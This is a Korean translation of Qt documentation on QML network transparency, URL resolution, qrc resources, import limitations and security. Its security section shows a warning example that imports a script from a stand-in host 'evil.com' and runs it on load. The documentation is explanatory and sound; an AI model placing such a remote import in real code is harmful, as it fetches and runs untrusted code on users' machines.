리소스 로딩 및 네트워크 투명성

QML은 QML 문서에서 다른 콘텐츠로의 모든 참조에 파일 이름이 아닌 URL을 사용하여 네트워크 투명성을 지원합니다. 즉, URL 소스가 예상되는 모든 곳에서 QML은 로컬 리소스뿐만 아니라 원격 리소스도 처리할 수 있습니다(예: 다음 이미지 소스):

Image {
    source: "http://www.example.com/images/logo.png"
}

상대 URL은 상대 파일과 동일하기 때문에 일반 파일 시스템에서 QML을 개발하는 것은 여전히 간단합니다:

Image {
    source: "images/logo.png"
}

예를 들어 FontLoader 및 이미지 요소는 모두 원격 서버에서 리소스를 로드할 수 있도록 지원하는 등 네트워크 투명성이 QML 전체에서 지원됩니다.

QML 유형 자체도 네트워크에 있을 수 있습니다. QML 도구를 사용하여 http://example.com/mystuff/Hello.qml 을 로드하고 해당 콘텐츠가 "World" 유형을 참조하는 경우 엔진은 http://example.com/mystuff/qmldir 을 로드하고 로컬 파일과 마찬가지로 해당 유형을 확인합니다. 예를 들어 qmldir 파일에 "World World.qml"이라는 줄이 포함된 경우 http://example.com/mystuff/World.qml Hello.qml 참조하는 다른 리소스(일반적으로 상대 URL)도 마찬가지로 네트워크에서 로드됩니다.

상대 URL과 절대 URL

객체에 URL(QUrl) 유형의 속성이 있는 경우 해당 속성에 문자열을 할당하면 문자열이 사용된 문서의 URL에 대해 문자열을 확인하여 실제로 절대 URL이 할당됩니다.

예를 들어 http://example.com/mystuff/test.qml 에 있는 이 콘텐츠를 생각해 보겠습니다:

Image {
    source: "images/logo.png"
}

Image 소스 속성은 http://example.com/mystuff/images/logo.png 으로 할당되지만 QML이 개발되는 동안 C:\User\Fred\Documents\MyStuff\test.qml 에서는 C:\User\Fred\Documents\MyStuff\images\logo.png 으로 할당됩니다.

URL에 할당된 문자열이 이미 절대 URL인 경우에는 '확인'을 해도 변경되지 않고 URL이 직접 할당됩니다.

QRC 리소스

Qt에 내장된 URL 체계 중 하나는 "qrc" 체계입니다. 이를 통해 Qt 리소스 시스템을 사용하여 콘텐츠를 실행 파일로 컴파일할 수 있습니다. 이를 사용하여 실행 파일은 실행 파일에 컴파일된 QML 콘텐츠를 참조할 수 있습니다:

QQuickView *view = new QQuickView;
view->setUrl(QUrl("qrc:/dial.qml"));

그러면 콘텐츠 자체는 상대 URL을 사용할 수 있으므로 콘텐츠가 실행 파일로 컴파일되었다는 것을 투명하게 인식하지 못합니다.

제한 사항

import 문은 "as" 절이 있는 경우에만 네트워크에 투명하게 표시됩니다.

더 구체적으로

  • import "dir" 로컬 파일 시스템에서만 작동합니다.
  • import libraryUri 로컬 파일 시스템에서만 작동
  • import "dir" as D 네트워크에서 투명하게 작동
  • import libraryUrl as U 네트워크에서 투명하게 작동

애플리케이션 보안에 대한 시사점

QML 보안 모델은 QML 콘텐츠가 신뢰할 수 있는 콘텐츠의 체인이라는 것입니다. 사용자는 네이티브 Qt 애플리케이션이나 Python 및 Perl과 같은 런타임으로 작성된 프로그램을 설치하는 것과 동일한 방식으로 신뢰할 수 있는 QML 콘텐츠를 설치합니다. 이러한 신뢰는 일부 플랫폼에서 패키지 서명의 가용성을 포함하여 여러 메커니즘에 의해 설정됩니다.

사용자의 신뢰를 유지하기 위해 QML 애플리케이션 개발자는 임의의 JavaScript 또는 QML 리소스를 로드하고 실행해서는 안 됩니다. 예를 들어 아래 QML 코드를 생각해 보세요:

import QtQuick 2.0
import "http://evil.com/evil.js" as Evil

Component {
    onLoaded: Evil.doEvil()
}

이는 "http://evil.com/evil.exe"를 다운로드하여 실행하는 것과 같습니다. QML 엔진은 특정 리소스가 로드되는 것을 방지하지 않습니다. 웹 브라우저 내에서 실행되는 JavaScript 코드와 달리 QML 애플리케이션은 다른 기본 애플리케이션과 동일한 방식으로 원격 또는 로컬 파일 시스템 리소스를 로드할 수 있으므로 애플리케이션 개발자는 콘텐츠를 로드하고 실행할 때 주의를 기울여야 합니다.

제어할 수 없는 다른 콘텐츠에 액세스하는 모든 애플리케이션과 마찬가지로, QML 애플리케이션은 로드하는 신뢰할 수 없는 데이터에 대해 적절한 검사를 수행해야 합니다. 예를 들어 import, Loader 또는 XMLHttpRequest 을 사용하여 신뢰할 수 없는 코드나 콘텐츠를 로드하지 마세요.

© 2025 The Qt Company Ltd. Documentation contributions included herein are the copyrights of their respective owners. The documentation provided herein is licensed under the terms of the GNU Free Documentation License version 1.3 as published by the Free Software Foundation. Qt and respective logos are trademarks of The Qt Company Ltd. in Finland and/or other countries worldwide. All other trademarks are property of their respective owners.